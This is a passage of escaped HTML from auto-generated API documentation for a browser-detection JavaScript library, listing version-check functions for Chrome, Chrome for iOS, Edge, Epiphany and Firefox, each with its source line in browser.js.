id=\".isC89iOS\"><span class=\"type-signature\">(static) </span>isC89iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 89.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2288\">line 2288</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC9\"><span class=\"type-signature\">(static) </span>isC9<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 9.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1080\">line 1080</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC90\"><span class=\"type-signature\">(static) </span>isC90<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 90.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2296\">line 2296</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC90iOS\"><span class=\"type-signature\">(static) </span>isC90iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 90.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2304\">line 2304</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC91\"><span class=\"type-signature\">(static) </span>isC91<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 91.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2312\">line 2312</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC91iOS\"><span class=\"type-signature\">(static) </span>isC91iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 91.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2320\">line 2320</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC92\"><span class=\"type-signature\">(static) </span>isC92<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 92.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2328\">line 2328</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC92iOS\"><span class=\"type-signature\">(static) </span>isC92iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 92.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2336\">line 2336</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC93\"><span class=\"type-signature\">(static) </span>isC93<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 93.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2344\">line 2344</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC93iOS\"><span class=\"type-signature\">(static) </span>isC93iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 93.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2352\">line 2352</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC94\"><span class=\"type-signature\">(static) </span>isC94<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 94.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2360\">line 2360</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC94iOS\"><span class=\"type-signature\">(static) </span>isC94iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 94.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2368\">line 2368</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC95\"><span class=\"type-signature\">(static) </span>isC95<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 95.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2376\">line 2376</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC95iOS\"><span class=\"type-signature\">(static) </span>isC95iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 95.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2384\">line 2384</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC96\"><span class=\"type-signature\">(static) </span>isC96<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 96.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2392\">line 2392</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC96iOS\"><span class=\"type-signature\">(static) </span>isC96iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 96.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2400\">line 2400</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC97\"><span class=\"type-signature\">(static) </span>isC97<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 97.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2408\">line 2408</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC97iOS\"><span class=\"type-signature\">(static) </span>isC97iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 97.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2416\">line 2416</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC98\"><span class=\"type-signature\">(static) </span>isC98<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 98.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2424\">line 2424</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC98iOS\"><span class=\"type-signature\">(static) </span>isC98iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 98.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2432\">line 2432</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC99\"><span class=\"type-signature\">(static) </span>isC99<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 99.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2440\">line 2440</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC99iOS\"><span class=\"type-signature\">(static) </span>isC99iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 99.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2448\">line 2448</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isCbowser\"><span class=\"type-signature\">(static) </span>isCbowser<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true for modern versions of Chrome (above 9).</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2456\">line 2456</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isEdge\"><span class=\"type-signature\">(static) </span>isEdge<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Edge.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line137\">line 137</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isEpi\"><span class=\"type-signature\">(static) </span>isEpi<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Return true if Epiphany</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1036\">line 1036</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF\"><span class=\"type-signature\">(static) </span>isFF<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if the browser is any version of Firefox.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line963\">line 963</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF10\"><span class=\"type-signature\">(static) </span>isFF10<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF10.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line233\">line 233</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF11\"><span class=\"type-signature\">(static) </span>isFF11<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF11.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line241\">line 241</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF12\"><span class=\"type-signature\">(static) </span>isFF12<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF12</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line249\">line 249</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF13\"><span class=\"type-signature\">(static) </span>isFF13<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF13</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line257\">line 257</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF14\"><span class=\"type-signature\">(static) </span>isFF14<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF14</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line265\">line 265</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF15\"><span class=\"type-signature\">(static) </span>isFF15<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF15</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line273\">line 273</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF16\"><span class=\"type-signature\">(static) </span>isFF16<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF16</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line281\">line 281</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF17\"><span class=\"type-signature\">(static) </span>isFF17<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF17</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line289\">line 289</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF18\"><span class=\"type-signature\">(static) </span>isFF18<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF18</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line297\">line 297</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF19\"><span class=\"type-signature\">(static) </span>isFF19<span 